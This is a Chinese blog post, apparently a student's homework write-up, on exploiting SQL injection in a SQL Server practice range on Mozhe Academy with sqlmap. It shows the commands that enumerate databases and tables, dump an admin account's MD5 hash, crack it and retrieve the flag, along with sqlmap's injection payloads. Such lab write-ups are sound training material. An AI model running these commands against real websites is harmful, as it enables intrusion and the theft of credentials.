信息安全的另一个作业是找一个SQL Server的动态网站注入,也没有说应该在哪里找,也没说必须手工注入。然后因为周末一直在浪,而也是死线逼近,于是就没多花什么时间地弄了一下。是的,很水

由于实在找不到所谓SQL Server动态网站了,所以也是到墨者学院网找了一个在线靶场进行注入:SQL手工注入漏洞测试(Sql Server数据库)

在这个网站进行注测和开启靶场之后,就能拿到一个服务器的地址,我拿到的是/219.153.49.228:49485,然后点进去看到一个登陆框,但是实际上重点是登陆框下面的公告,鼠标悬浮发现它的url219.153.49.228:49485/new_list.asp?id=2。看到这样的url猜测它是能进行注入的。然后下面就是从这里开始入手的整个过程。

inject url

虽然标题是手工注入,但是实际上完全不想手工注入,还是使用sqlmap快速一点为好。(这是注入灵魂的东西)

本次实验使用的是一台Ubuntu的主机,通过apt安装程序:

1
sudo apt install sqlmap

然后是直接先看一遍有没有漏洞

1
sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --level=1

很快就会有提示检测到这是一个SQL Server的数据库了,当然最后得到的输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 6832=6832

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=2;WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=2 WAITFOR DELAY '0:0:5'

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-4595 UNION ALL SELECT NULL,CHAR(113)+CHAR(106)+CHAR(98)+CHAR(112)+CHAR(113)+CHAR(100)+CHAR(107)+CHAR(115)+CHAR(73)+CHAR(84)+CHAR(70)+CHAR(114)+CHAR(87)+CHAR(87)+CHAR(75)+CHAR(102)+CHAR(78)+CHAR(117)+CHAR(103)+CHAR(114)+CHAR(116)+CHAR(111)+CHAR(111)+CHAR(118)+CHAR(79)+CHAR(89)+CHAR(118)+CHAR(105)+CHAR(101)+CHAR(76)+CHAR(68)+CHAR(88)+CHAR(111)+CHAR(102)+CHAR(112)+CHAR(120)+CHAR(104)+CHAR(105)+CHAR(82)+CHAR(77)+CHAR(87)+CHAR(84)+CHAR(68)+CHAR(87)+CHAR(66)+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113),NULL,NULL-- -
---
[15:24:35] [INFO] testing Microsoft SQL Server
[15:24:35] [INFO] confirming Microsoft SQL Server
[15:24:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[15:24:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 30 times
[15:24:35] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/219.153.49.228'

这段说明,sqlmap确定了它的后台数据库是Microsoft SQL Server 2005,使用ASP.NET, Microsoft IIS 6.0, ASP进行开发,操作系统是Windows 2003 or XP;而且sqlmap发现了三个注入点。

接下来就是一顿更加流氓的操作:因为sqlmap是一个足够强大的工具。

列出所有的数据库

1
sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --dbs
1
2
3
4
5
6
available databases [5]:
[*] master
[*] model
[*] mozhe_db_v2
[*] msdb
[*] tempdb

master 应该是SQL Server系统的表,然后大概可以看看另外四个数据库中都是些什么。不过我们有更好的选项:

1
sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --current-db
1
current database:    'mozhe_db_v2'

然后只看 mozhe_db_v2 这个数据库,列出它所有的表

1
sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" -D "mozhe_db_v2" --tables
1
2
3
4
5
6
Database: mozhe_db_v2
[2 tables]
+--------------+
| announcement |
| manage |
+--------------+

看名字大概announcement是通知,也就是我们现在所查的东西;而我们需要的估计是manage,也就是用户的用户名和密码。那接着看它的里面的东西

1
sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" -D "mozhe_db_v2" -T manage --dump
1
2
3
4
5
6
7
8
9
10
Database: mozhe_db_v2
Table: manage
[1 entry]
+----+----------+------------------+
| id | username | password |
+----+----------+------------------+
| 1 | admin_mz | 72e1bfc3f01b7583 |
+----+----------+------------------+

[16:22:18] [INFO] table 'mozhe_db_v2.dbo.manage' dumped to CSV file '/home/ubuntu/.sqlmap/output/219.153.49.228/dump/mozhe_db_v2/manage.csv'

可以看到用户的用户名与密码,而且还导出了一个CSV文件。

直接使用这个用户名与密码,提示密码错误。这个password给的应该是数据库中原始的值,说明可能在数据存储之前进行了一次类似于哈希的操作。猜测用的就是最常用的方式Md5,目前解决这种问题的方式大概只有通过搜索碰撞的方式,幸好在站长之家就有这样的东西能解决16位的md5。

md5 decode

解密得到的密码为97285101。再次使用其来登录,进入后台界面,拿到flag:mozhe4b3d52c6133121c7377f8c0efe0

flag

实际上怎么说,毫无美感可言;不过就论方便而言,果然还是脚本小子容易当。